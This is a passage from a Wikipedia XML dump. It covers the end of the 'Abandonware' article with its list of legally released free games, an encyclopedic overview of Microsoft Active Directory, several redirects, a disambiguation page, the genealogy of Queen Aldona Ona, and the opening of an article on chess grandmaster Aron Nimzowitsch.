Companies do sometimes voluntarily relinquish copyright on software, putting it into the [[public domain]], or re-license it as [[freeware]] or [[open source]]. [[id Software]] is notable as an early proponent of this practice, releasing older titles under an [[open source]] license. Another example is [[Amstrad]], who support emulation and free distribution of [[ZX Spectrum]] hardware ROMs and software. Transfer of public domain or free software is perfectly legal, distinguishing it from abandonware. It is uncommon for proprietary software companies to release software to the public domain or under an open source licence. However, many companies such as [[Novell]] and [[Sun]] have recently been experimenting with releasing their latest software under [[open source]] and [[free software]] licences which allow users not only to trade in the software freely but to sell and modify said software so long as they also release it under the same licence.

==Old copyrights that are still of value==
A common misconception is that &quot;abandonware&quot; is synonymous with &quot;old [[warez]]&quot;, that is, any software older than a certain threshold (a common one being five years). This is not always the case, as some software companies (like [[Apogee Software|Apogee]]) still offer many of their older titles for sale and actively pursue those who illegally offer them. [[Atari 2600]] games are commonly distributed on the Internet based on the presumption that no one would buy a primitive Atari game. However, [[mobile phone]] manufacturers have bought the rights to use these games, which can be made to work well on newer programmable mobile phones.

Some [[video game publisher|publishers]] argue that all abandonware distribution is harmful, whether it is still possible to buy the game or not. The reasoning is that because of the success companies like [[Nintendo]] and [[Activision]] have had in releasing old games for newer platforms like the [[Nintendo GameCube|GameCube]], [[Game Boy Advance]] and the [[PlayStation 2]], all abandonware has potential value, and that distributing it free on the Internet decreases the profits to be had from a legal rerelease. However, the reverse argument is also made: that the distribution of abandonware may help boost sales of new ports of old titles by making them popular again. Also, some argue that the new versions of classic titles are never as good as the classic ones.

Classic game compilations have become popular on the [[Xbox]], PlayStation 2, and GameCube. [[Capcom]] and [[Midway]] have released compilation discs, and many other companies are doing the same. Also, many companies add older games as an unlockable in newer titles, like the original [[Wolfenstein 3D]] in the Xbox version of ''[[Return to Castle Wolfenstein]]'', and ''[[Prince of Persia]]'' in ''[[Prince of Persia: Sands of Time]]''(contained in ''[[Prince of Persia: Warrior Within]]'' on the Xbox) the original [[Metroid]] was also unlockable in [[Metroid Prime]] ([[Gamecube]]) and [[Metroid: Zero Mission]] ([[Game Boy Advance]]), as well as being released on the GBA as Nintendo's [[NES classics]] series. And on handheld systems like the Game Boy Advance, classic games are rereleased or remade for the system.

==Major software made available==
===Games===
The following formerly paid games have been made available for free download by their copyright holders for various reasons, often as publicity for a forthcoming sequel or compilation release.
* ''[[Robby Roto|The Adventures of Robby Roto!]]'' (?), released to the public by its author, free arcade rom from http://www.mame.net* ''[[Alien Breed]] series'' ([[1991]]-[[1996]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_index.html Get it here])
* ''[[Akalabeth|Ultima 0/Akalabeth]]'' ([[1979]]) by [[Lord British]], see also the ''[[Ultima]]'' series
* ''[[Allegiance (computer game)|Allegiance]]'' ([[1999]]) by [[Microsoft]], Kept alive by players, Windows only, designed for 56k connections so no connection is too slow, 3d action/space/strategy. ([http://www.freeallegiance.org])
* ''[[All Terrain Racing (computer game)|All Terrain Racing]]'' ([[1995]]) by [[Jamie Woodhouse]]/[[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_atr_downloads.html Get it here], also available on [http://www.jamiewoodhouse.co.uk/ Jamie Woodhouse's homepage])
* ''[[Apidya]]'' ([[1993]]) published in the UK by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_apidya_downloads.html Get it here])
* ''[[Arcade Pool]]'' ([[1990]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_arcadepool_downloads.html Get it here])
* ''[[Assassin (computer game)|Assassin]]'' ([[1992]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_assassin_downloads.html Get it here]) ([http://www.dream17.co.uk/softography_assassinse_downloads.html Get the Special Edition here])
* ''[[Backlash (computer game)|Backlash]]'' ([[1994]]) by [[Sanctuary Software Studio]], originally shareware, now available as freeware ([http://www.sancsoft.com/galSoftware.asp Get it here])
* ''[[Beneath a Steel Sky]]'' ([[1994]]) by [[Revolution Software]] released to support the [[ScummVM]] Project ([http://www.scummvm.org/downloads.php Get it here])
* ''[[Betrayal at Krondor]]'' ([[1993]]) by [[Sierra On-Line]], limited time promotional free download in [[1997]]
* ''[[Bio Menace]]'' ([[1993]] by [[Apogee_Software|Apogee]], re-released as freeware in December [[2005]])
* ''[[Body Blows]] series'' ([[1993]]-[[1995]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_index.html Get it here])
* ''[[Caesar (computer game)|Caesar]]'' ([[1991]]) by [[Impressions Games|Impressions]], later re-released by [[Sierra On-Line]], limited time promotional free download
* ''[[Cardiaxx]]'' ([[1993]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_cardiaxx_downloads.html Get it here])
* ''[[The Elder Scrolls: Arena]]'' ([[1994]]) by [[Bethesda Softworks]] released to mark the 10th anniversary of the ''[[The Elder Scrolls|TES]]'' series, and as publicity release prior to the 4th installment, ''[[The Elder Scrolls IV: Oblivion|Oblivion]]'' ([http://www.elderscrolls.com/downloads/downloads_games.htm Get it here])
* ''[[Elite (computer game)|Elite]]'' ([[1984]]) by [[Acornsoft]], freeware release in [[1999]] courtesy of game developer [[Ian Bell (programmer)|Ian Bell]] ([http://www.iancgbell.clara.net/elite/pc/index.htm Get it here])
* ''[[Elite (computer game)|Elite +]]'' by [[Acornsoft]], freeware release in [[1999]] courtesy of game developer [[Ian Bell (programmer)|Ian Bell]] ([http://www.iancgbell.clara.net/elite/pc/index.htm Get it here])
* ''[[F17 Challenge]]'' ([[1993]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_f17_downloads.html Get it here])
* ''Fish Fillets'' (1998), by [[Altar Interactive]], freeware as of 2002, source code available since 2004, along with an official Linux port ([http://www.altarinteractive.com/pages/fillets_en.html Get it here])
* ''[[Flight of the Amazon Queen]]'' ([[1995]]) by [[Interactive Binary Illusions]] released to support the [[ScummVM]] Project ([http://www.scummvm.org/downloads.php Get it here])
* ''[[Full Contact (game)|Full Contact]]'' ([[1991]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_fullcontact_downloads.html Get it here])
* ''[[Grand Theft Auto (game)|Grand Theft Auto]]'' ([[1997]]) by [[Rockstar Games]], free download release in [[2002]] as publicity for the release of ''[[Grand Theft Auto: Vice City]]'' ([http://www.rockstargames.com/classics/gta.html Get it here])
* ''[[Grand Theft Auto 2]]'' ([[1999]]) by [[Rockstar Games]], free download release in 2004 as publicity for the release of ''[[Grand Theft Auto: San Andreas]]'' ([http://www.rockstargames.com/classics/ Get it here])
*''[[Gridlee]]'' Gridlee, released by the authors to the public, free arcade rom from http://www.mame.net
*''[[Hidden and Dangerous]]''
* ''[[Kingpin: Arcade Sports Bowling]]'' ([[1995]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_kingpin_downloads.html Get it here])
* ''[[Lure of the Temptress]]'' ([[1992]]), by [[Revolution Software]], ([http://revolution.co.uk/_display.php?id=10 Get it here])
* ''[[Marathon (computer game series)|Marathon]]'' series released by Bungie for free: ([http://trilogyrelease.bungie.org/ Get it here])
* ''[[Miami Chase]]'' ([[1990]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_miamichase_downloads.html Get it here])
* ''[[One Must Fall#One Must Fall: 2097|One Must Fall: 2097]]'' ([[1994]]), by [[Epic MegaGames]], declared freeware on [[February 10]], [[1999]]
* ''[[Overdrive (computer game)|Overdrive]]'' ([[1993]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_overdrive_downloads.html Get it here])
* ''[[Project X (computer game)|Project X]]'' ([[1992]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_projectx_downloads.html Get it here]) ([http://www.dream17.co.uk/softography_projectxse_downloads.html Get the Special Edition here])
* ''[[Qwak]]'' ([[1993]]) by [[Jamie Woodhouse]]/[[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_qwak_downloads.html Get it here], also available on [http://www.jamiewoodhouse.co.uk/ Jamie Woodhouse's Homepage])
* ''[[Red Baron (game)|Red Baron]]'' ([[1990]]), by [[Dynamix]]/[[Sierra On-Line]], limited-time promotional free download
* ''[[Sopwith (computer game)|Sopwith]]'' ([[1984]]), by BMB Compuscience, source code released to the public by its author
* ''[[Speris Legacy|The Speris Legacy]]'' ([[1995]]) published by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_sperislegacy_downloads.html Get it here])
* ''[[Starsiege: Tribes]]'' ([[1998]]), by [[Dynamix]]/[[Sierra On-Line]], free download release in 2004 as publicity for the release of [[Tribes: Vengeance]] (Tribes 3) ([http://www.fileplanet.com/files/140000/140246.shtml Get it here])
*''[[Styx]]'' ([1983]), by [[Windmill Software]].  Remastered edition.  You can play it without any CGA cards and even if you're not using a PC/XT. [http://www.digger.org/styx]
* ''[[Superfrog]]'' ([[1993]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_superfrog_downloads.html Get it here])
* ''[[Super Stardust]]'' ([[1994]]) published by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_superstardust_downloads.html Get it here])
* ''[[Tribes 2]]'' ([[2001]]), by [[Dynamix]]/[[Sierra On-Line]], free download release in 2004 as publicity for the release of ''[[Tribes: Vengeance]]'' (''Tribes 3'')
* ''[[Ultima#Ultima IV: Quest of the Avatar (1985)|Ultima IV: Quest of the Avatar]]'' ([[1985]]) by [[Lord British]], see also the ''[[Ultima]]'' series.
* ''[[Warzone 2100]]'' ([[1999]]), by [[Pumpkin Studios]], game released to public domain without music or video clips
* ''[[Wild Metal]]'' ([[1999]]), by [[Rockstar Games]], ([http://www.rockstargames.com/classics/wmc.html Get it here])
* ''[[Worms (computer game)|Worms]]'' ([[1995]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images '''only''' released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_worms_downloads.html Get it here]) - this does not include other formats of the game, as at least the PC version is still available for purchase in some countries
* ''[[Worms (computer game)|Worms: The Directors Cut]]'' ([[1997]]) by [[Team 17]], original Amiga [[ADF]]/[[IPF]] disk images released with permission on an authorised fansite ([http://www.dream17.co.uk/softography_wormsdc_downloads.html Get it here])
* ''[[Zero Tolerance (game)|Zero Tolerance]]'' ([[1994]]), by [[Technopop]]. Not in the public domain, but made available for download royalty-free. [http://www.technopop.com/ Technopop web page.]([http://www.zophar.net/roms/genesis.html Get it here])

==See also==
*[[Copynorms]]
*[[Home of the Underdogs]]
*[[Intellectual property]]
*[[Orphaned works]]

==External links==
===Discussion on legality and ethic of &quot;abandonware&quot;===
*[http://www.adventureclassicgaming.com/index.php/site/features/160/ Abandonwarez: the pros and the cons], Adventure Classic Gaming.

===Legal &quot;abandonware&quot; titles for download===
*[http://www.abandonia.com/ Abandonia] &amp;mdash; Large site with info, tutorials and downloads. Not all of the games listed can be downloaded; for Copyright reasons.
*[http://liberatedgames.org/ Liberated Games] &amp;mdash; A site which features software which has been freed (liberated) by its copyright owners, in some form.
*[http://www.remaininplay.com/ Remain In Play] &amp;mdash; Features only abandonware that has been officially released by their copyright owners.
*[http://www.squakenet.com/ Squakenet] – An archive with abandonware games.
*[http://www.worldofspectrum.org/ World of Spectrum] &amp;mdash; Large archive of legal Spectrum ZX downloads, with permission from Amstrad, the copyright holder. 


{{software distribution}}

[[Category:Abandonware]]
[[Category:Computer and video game culture]]
[[Category:Software distribution]]

[[ca:Abandonware]]
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[[sv:Abandonware]]</text>
    </revision>
  </page>
  <page>
    <title>Application layer firewalls</title>
    <id>2804</id>
    <revision>
      <id>15901193</id>
      <timestamp>2004-09-04T01:32:35Z</timestamp>
      <contributor>
        <username>Deelkar</username>
        <id>87057</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Application layer firewall]]</text>
    </revision>
  </page>
  <page>
    <title>Active Directory</title>
    <id>2807</id>
    <revision>
      <id>40927938</id>
      <timestamp>2006-02-23T23:02:00Z</timestamp>
      <contributor>
        <username>Kasperd</username>
        <id>687489</id>
      </contributor>
      <minor />
      <comment>Revert changes by 142.229.136.225</comment>
      <text xml:space="preserve">'''Active Directory''' ([[Microsoft codenames|codename]] '''Cascade''') is an implementation of [[Lightweight Directory Access Protocol|LDAP]] [[directory service]]s by [[Microsoft]] for use in [[Microsoft Windows|Windows]] environments.  Active Directory allows administrators to assign enterprise wide policies, deploy programs to many computers, and apply critical updates to an entire organization. An Active Directory stores information and settings relating to an organization in a central, organized, accessible database. Active Directory networks can vary from a small installation with a few hundred objects, to a large installation with millions of objects.

Active Directory was previewed in 1996, released first with [[Windows 2000]], and saw some revision to extend functionality and improve administration in [[Windows Server 2003]].

==Structure==
===Objects===
An '''Active Directory''' (AD) structure is a hierarchical framework of [[objects]]. The objects fall into three broad categories &amp;mdash; resources (e.g. [[printer]]s), services (e.g. [[e-mail]]), and people (accounts, or users and groups). The AD provides information on the objects, organizes the objects, controls access, and sets security.

Each object represents a single entity &amp;mdash; whether a user, a computer, a printer, an application, or a shared data source &amp;mdash; and its attributes. Objects can also be containers of other objects. An object is uniquely identified by its name and has a set of attributes &amp;mdash; the characteristics and information that the object can contain &amp;mdash; defined by and depending on its type. The attributes, the basic structure of the object itself, are defined by a [[schema]], which also determines the kind of objects that can be stored in the AD.

The schema itself is made up of two types of objects: schema class objects and schema attribute objects. A single schema class object defines one type of object that can be created by AD &amp;mdash; for instance, it allows a User object to be created &amp;mdash; and a schema attribute object defines an attribute that objects can have.

Each attribute object can be used in several different schema class objects. Those objects are known as schema objects, or [[metadata]], and exist to allow the schema to be extended or modified when necessary. However, because each schema object is integral to the definition of AD objects, deactivating or changing these objects can have serious consequences because it will fundamentally change the structure of AD itself. A schema object, when altered, will automatically propagate through Active Directory and once it is created it can only be deactivated &amp;mdash; not deleted. Changing the schema is not something that is usually done without some planning

===Forests, Trees and Domains===
The framework that holds the objects is viewed at a number of levels. At the top of the structure is the Forest - the collection of every object, its attributes and rules (attribute syntax) in the AD. The forest holds one or more transitive trust linked Trees. A tree holds one or more Domains and domain trees, again, linked in a transitive trust hierarchy. Domains are identified by their [[Domain Name System|DNS]] name structure, the namespace. A domain has a single DNS name.

The objects held within a domain can be grouped into containers called Organizational Units (OUs). OUs give a domain a hierarchy, ease its administration, and can give a semblence of the structure of the AD's company in organisational or geographical terms. OUs can contain OUs - indeed, domains are containers in this sense - and can hold multiple nested OUs. Microsoft recommends as few domains as possible in AD and a reliance on OUs to produce structure and improve the implementation of policies and administration. The OU is the common level at which to apply [[group policies]], which are AD objects themselves called Group Policy Objects (GPOs), although policies can also be applied to domains or sites (see below). The OU is the lowest level at which administrative powers can be delegated.

As a further subdivision AD supports the creation of ''Sites'', which are physical, rather than logical, groupings defined by one or more IP subnets. Sites distinguish between locations connected by low-speed (e.g. [[Wide area network|WAN]], [[Virtual private network|VPN]]) and high-speed (e.g. [[local area network|LAN]]) connections. Sites can contain one or more domains and domains can contain one or more sites. This is important to control network traffic generated by replication.

The actual division of the company's information infrastructure into a hierarchy of one or more domains and top-level OUs is a key decision. Common models are by business, by geographical location, or by IT roles. These models are also often used in combination.

===Physical structure and Replication===
Physically the AD information is held on one or more equal peer [[domain controller]]s (DCs), replacing the [[Windows NT|NT]] PDC/BDC format (although there is a 'more equal' ''[[flexible single master operation]]'' (FSMO) server for some operations, which can simulate a PDC). Each DC holds a single domain partition and a read-and-write copy of the AD, changes on one computer being synchronized (converged) between all the DC computers by ''[[multi-master replication]]''. Servers without AD are called Member Servers.

Unlike earlier versions of Windows which used [[NetBIOS]] to communicate, Active Directory is fully integrated with DNS and [[TCPIP|TCP/IP]] - indeed DNS is ''required''.  To be fully functional, the DNS server must support [[SRV record|SRV resource records]] or service records.

AD replication is 'pull' rather than 'push'. The AD creates a replication topology that uses the defined ''sites'' to manage traffic. Intrasite replication is frequent and automatic through the ''Knowledge Consistency Checker'' (KCC), while intersite replication is configurable depending on the quality of each site link - a different 'cost' can be given to each link (e.g. [[DS3]], [[T1]], [[ISDN]] etc.) and replication traffic limited, scheduled, and routed accordingly. Replication data may be transitively passed through several sites on same-protocol ''site link bridges'', if the 'cost' is low, although AD automatically costs a direct site-to-site link lower than transitive connections. Site-to-site replication is between a ''bridgehead server'' in each site, which then replicate the changes to other DCs within the site.

With more than one domain the AD is not replicated across the forest; a global catalog (GC) is created, containing all the objects in the forest but only a subset of their attributes, a partial replica. The catalog is held on defined global catalog servers, to deal with inter-domain queries or pass requests across. Intra-domain convergence is by [[Remote procedure call|RPC]] over [[Internet Protocol|IP]], forestwide convergence is by [[SMTP]].

[[Flexible single master operation|FSMO]] handles situations where multimaster replication would be inadequate. There are five FSMO tasks - the previously noted  PDC emulation, relative ID master, and infrastructure master are domainwide roles; schema master and domain naming master are forestwide roles. In any domain there can be only one server handling a specific FSMO task.

The AD is split into three different stores or ''partitions''. The ''Schema'' which is the template for the entire AD, defining all object types, their classes, attributes, and attribute syntax (all trees are together in the forest because they share an identical schema). The ''Configuration'', which is the structure of the AD forest and trees. The ''Domain'', which holds all the information on the object created in that domain. The first two stores replicate to all domain controllers, while only a portion of each domain store is shared - as the global catalog with other domain controllers - as the domain boundaries are the limits for full domain object replication.

The AD [[database]], the ''directory store'', in Windows 2000 uses the [[Microsoft JET Blue|JET Blue-based]] [[Extensible Storage Engine]] (ESE98), limited to 16 terabytes and 1 billion objects in each domain controller's database (a theoretical limit, only 100 million or so have been tested. NT4's [[Security Account Manager]] could support no more that 40,000 objects). Called NTDS.DIT, it has two main tables: the ''data table'' and the ''link table''.  In Windows 2003 a third main table was added for security descriptor single instancing.

==Naming==
AD supports [[Universal Naming Convention|UNC]] (\), [[Uniform resource locator|URL]] (/), and LDAP URL names for object access. AD internally uses the LDAP version of the [[X.500]] naming structure.

Every object has a '''''Distinguished name''''' (DN), so a printer object called HPLaser3 in the OU Marketing and the domain foo.org, would have the DN: ''CN=HPLaser3,OU=Marketing,DC=foo,DC=org'' where ''CN'' is common name and ''DC'' is domain object class, DNs can have many more than four parts. The object can also have a '''''Canonical name''''', essentially the DN in reverse, without identifiers, and using slashes: ''foo.org/Marketing/HPLaser3''. To identify the object within its container the '''''Relative distinguished name''''' (RDN) is used: ''CN=HPLaser3''. Each object also has a '''''Globally unique identifier''''' (GUID) an unique and unchanging 128-bit string which is used by AD for search and replication. Certain objects also have a '''''User principal name''''' (UPN), an ''objectname''@''domain name'' form. 
&lt;!-- Trust doesn't belong in the middle of the chapter about Structure. This is temporary here. --&gt;

==Trust==
&lt;div id=&quot;trust&quot;&gt; &lt;/div&gt;To allow users in one domain to access resources in another, AD uses trust. Trust is automatically produced when domains are created. The forest sets the default boundaries of trust, not the domain, and implicit trust is automatic. As well as two-way transitive trust, AD trusts can be ''shortcut'' (joins two domains in different trees, transitive, one- or two-way), ''forest'' (transitive, one- or two-way), ''realm'' (transitive or nontransitive, one- or two-way), or ''external'' (nontransitive, one- or two-way) in order to connect to other forests or non-AD domains. AD uses the [[Kerberos (protocol)|Kerberos]] V5 protocol, although [[NTLM]] is also supported and web clients use SSL/TLS.

=== Trusts in Windows 2000 (native mode) ===
Simply speaking, AD uses trust to allow users in one domain to have access to files in another. The AD trust relationship is a mechanism by which users in one domain can be authenticated by another domain and then be allowed (or disallowed) access to resources within it. Each Windows domain has implicit, two-way, transitive trust relationships with other domains. Such trusts are automatically maintained between domains. For example, if domain A trusts domain B, and B trusts C, then:
* Domain A trusts domain C because trusts are transitive. Users from domain A can access files from domain C.
* Domain C trusts domain A because trusts are two-way. Users from domain C can access files from domain A.

Domains can also have explicit, manually created trust relationships. Explicit trusts can be:
* Shortcut trusts - joins any two domains within the same forest, in order to reduce access time to resource. The shortcut trust is transitive and one-way.
* External trusts – joins two domains in different forests, allows users from one forest to have access to resources from another forest. The external trust is non-transitive, non-Kerberos and one-way.

==ADAM==
'''Active Directory Application Mode''' (ADAM) is a light-weight implementation of Active Directory.  ADAM is capable of running as a simple user service.  Due to its small resource requirements, multiple ADAM instances are able to run on the same server.  The API is identical to that of a full-blown Active Directory implementation, so developers do not need to learn new skills to utilize it.

==See also==
*[[Active Directory Service Interfaces]]
*[[Windows Open Services Architecture]]
*[[Directory Enabled Networks]]
*[[Microsoft Directory Synchronization Services]]
*[[Group Policy]]

==Notes==
&lt;!-- Instructions for adding a footnote:
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9.
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body.
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
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   NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
&lt;div style=&quot;font-size: 75%&quot;&gt;
# {{note|SchemaObjects}} &quot;Windows Server 2003: Active Directory Infrastructure&quot; (2003). ''Microsoft Press''. pg 1-8 &amp;ndash; 1-9.
&lt;/div&gt;

==References==
* &quot;Windows Server 2003: Active Directory Infrastructure&quot; (2003). ''Microsoft Press''. ISBN 0-7356-1438-5.

== External links ==
* [http://www.microsoft.com/windowsserver2003/technologies/directory/activedirectory/default.mspx Microsoft's Active Directory Page]
* [http://www.opentechsupport.net/forums/archive/topic/16708-1.html SRV records]
* [http://www.windowsitlibrary.com/Content/155/09/1.html WINS (Windows Internet Naming Service)]
* [http://www.dmtf.org Distributed Management Task Force]
* [http://www.pcquest.com/content/linux/2005/105010303.asp Active Directory on Linux]

[[Category:Active Directory]]
[[Category:Identity management systems]]
[[Category:Microsoft server technology]]

[[cs:Active Directory]]
[[de:Active Directory Service]]
[[es:Active Directory]]
[[fi:Active Directory]]
[[fr:Active Directory]]
[[it:Active Directory]]
[[nl:Active Directory]]
[[pl:Active Directory]]
[[ru:Active Directory]]
[[sk:Active Directory]]</text>
    </revision>
  </page>
  <page>
    <title>Atom Bomb</title>
    <id>2808</id>
    <revision>
      <id>15901196</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Nuclear weapon]]
</text>
    </revision>
  </page>
  <page>
    <title>Arian</title>
    <id>2809</id>
    <revision>
      <id>23275165</id>
      <timestamp>2005-09-15T09:37:54Z</timestamp>
      <contributor>
        <username>Susvolans</username>
        <id>94325</id>
      </contributor>
      <minor />
      <comment>{{msg:disambig}} → {{disambig}}</comment>
      <text xml:space="preserve">'''Arian''' may refer to one of the following.
 
*[[Arianism]]
*Obsolete spelling of [[Aryan]], [[Aryan race]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Aldona Ona</title>
    <id>2810</id>
    <revision>
      <id>37986148</id>
      <timestamp>2006-02-03T11:26:29Z</timestamp>
      <contributor>
        <username>Garas</username>
        <id>263237</id>
      </contributor>
      <minor />
      <comment>direct link</comment>
      <text xml:space="preserve">[[Image:Pieczec_Kazimierz_Wielki.jpg|right|thumb|150px|Royal seal of Casimir III the Great.]]

'''Aldona Ona''' or '''Anna''' (after 1309 – [[26 May]] [[1339]]) was the [[Queen consort|Queen]] of [[Piast Poland|Poland]] 1333 – 1339, and the [[Princess]] of [[Grand Duchy of Lithuania|Lithuania]]. She was the daughter of [[Monarch|King]] [[Gediminas]] of [[Grand Duchy of Lithuania|Lithuania]]. 

She married [[Casimir III of Poland|Casimir III the Great]].  Their daughter was [[Cunigunde]], who married the son of [[Louis IV, Holy Roman Emperor]], [[Louis VI the Roman]], on [[January 1]], [[1345]], possibly at [[Kraków]].

== Mother ==

:[[Jewna]], daughter of [[Prince]] [[Iwan of Polock]] (? – 1344)

== Father ==

:[[Gediminas]]  ca 1275 – winter 1341 under [[Veliuona]] ([[Wielon]]), [[Grand Prince]] of Lithuania, [[Monarch|King]] of [[Lithuanians]] and [[Ruthenians]] 1316 – 1341

== Husband ==

:[[Casimir III of Poland|Kazimierz III Wielki]]

== Brothers ==

:[[Algirdas]] (-in lithuanian) [[Algirdas|Olgierd]] (ca 1296 – end of May 1377), Grand Prince of [[Grand Duchy of Lithuania|Lithuania]] 1345 – 1377
:[[Vytautas the Great|Vytautas]] (-in lith.) [[Witowt]] (? – 1337), Prince of [[Trakai]]
:[[Manvydas]] (-in lith.) [[Monvyd]] (ca 1300 – 1348), Prince of [[Kiernow|Kernavė]] and [[Slonim|Wslonim]] (Slonim) 1341 – 1342
:[[Narimantas]] (-in lith.) [[Narymunt]] (Gleb, Dawid; ca 1300 – [[2 February]] [[1348]]), Prince of [[Pinsk]] 13?? – 1348, [[Polock]], [[Navahradak|Nowohorodok]]
:[[Jaunutis]] (-in lith.) [[Jaunutis|Jewnut]] (Jaunutis, Iwan; ca 1300 – after 1366), Grand Prince of Lithuania 1341 – 1345, Prince of [[Izjaslawl]] 1346 – 1366
:[[Kęstutis]] (-in lith.) [[Kestutis|Kiejstut]] (Kęstutis; 1297 – [[15 August]] [[1382]] [[Krewa]]), Prince of [[Trakai]], Grand Prince of [[Grand Duchy of Lithuania|Lithuania]] 1381 – 1382; 
:[[Koriat|Karijotas]] (-in lith.) [[Koriat]] (Michal; ca 1300 – ca 1362), Prince of [[Navahradak|Nowohorodok]] 1341 – 1347
:[[Lubart|Liubartas]] (-in lith.) [[Lubart]] (Lubko, Lubartas, Dymitr; ca 1300 – 1384), Prince of [[Polock]] 13?? – 1342, [[Volodymyr-Volyns'kyi|Wlodzimierz]], [[Luck]] 1340 – 138?, [[Volynia|Wolynia]] 1340 – 1349, 1350 – 1366, 1371 – 1383, King of [[Galicia (Central Europe)|Galicja]] (independent [[monarchy|kingdom]] 1253 – 1349) 1340 – 1349

== Sisters ==

:[[Maria of Lithuania|Marija]] (ca 1300 – 1349), [[Princess]] of [[Grand Duchy of Lithuania|Lithuania]]
:[[Damilla]] (Elzbieta; 14th century – 1364), Princess of [[Plock]]
:[[Eufemia]] (14th century – [[5 February]] [[1342]]), Princess of [[Halicz]] and [[Volodymyr-Volyns'kyi|Wlodzimierz]]-[[Halicz]]
:[[Augusta-Anastazja|Augusta]] (Anastazja; 14th century – [[11 March]] [[1345]]), Grand Princess of [[Vladimir, Russia|Vladimir]]-[[Moscow]]

== Daughter ==

:[[Cunigunde]]

==See also==

:[[Gediminaiciai|Gediminaiciai (Gediminids)]]
:[[List of Polish rulers]]

[[Category:Lithuanian nobility]]
[[Category:Polish queens consort]]
[[Category:1339 deaths]]
[[Category:History of Belarus]]
[[Category:History of Lithuania]]

[[pl:Aldona Anna Giedyminówna]]</text>
    </revision>
  </page>
  <page>
    <title>Aron Nimzowitsch</title>
    <id>2812</id>
    <revision>
      <id>40759339</id>
      <timestamp>2006-02-22T21:06:35Z</timestamp>
      <contributor>
        <username>Giftlite</username>
        <id>37986</id>
      </contributor>
      <comment>/* External links */ wikify</comment>
      <text xml:space="preserve">'''Aron Nimzowitsch''' (also '''Nimzovich''' or '''Niemzowitsch''') ([[November 7]], [[1886]], [[Riga]] – [[March 16]], [[1935]], [[Denmark]]) was a [[Latvia]]n [[chess grandmaster]]. He was the foremost figure amongst the ''[[hypermodernism (chess)|hypermoderns]]''.

Nimzowitsch came from a wealthy Jewish family and learned chess from his father. He travelled to [[Germany]] in [[1904]] to study [[philosophy]], but began a career as a professional chess player that same year. After tumultuous years during and after [[World War I]], Nimzowitsch moved to [[Copenhagen]] in [[1922]] (some sources say [[1920]]) and lived there until his death. He is buried in Bispebjerg Cemetery in Copenhagen.

Nimzowitsch's [[chess|chess theories]] flew in the face of pre-existing convention. While there were those like [[Alexander Alekhine|Alekhine]], [[Emanuel Lasker|Lasker]], and even [[Jose Raul Capablanca|Capablanca]]  who did not live by  [[Siegbert Tarrasch|Tarrasch]]'s rigid teachings, the acceptance of Tarrasch's ideas, all simplifications of the more profound [[Wilhelm Steinitz|Steinitz]], was nearly universal. That the center had to be controlled by [[pawns]] and that development had to happen in support of this control — the core ideas of Tarrasch's chess philosophy—were things every beginner thought to be irrefutable laws of nature like gravity.

Nimzowitsch shattered these assumptions. He discovered such concepts as [[overprotection]] (the least important of his ideas from a modern standpoint though still interesting and sometimes applicable), control of the center by pieces instead of pawns, blockade, [[prophylaxis (chess)|prophylaxis]] — playing to prevent the opponent's plans — and the [[fianchetto]] (in the case of the fianchetto, one could argue that it was a rediscovery, but Nimzowitsch certainly refined its use).  He also formalised strategies using open files, outposts and invasion of the seventh rank, all of which are widely accepted today.

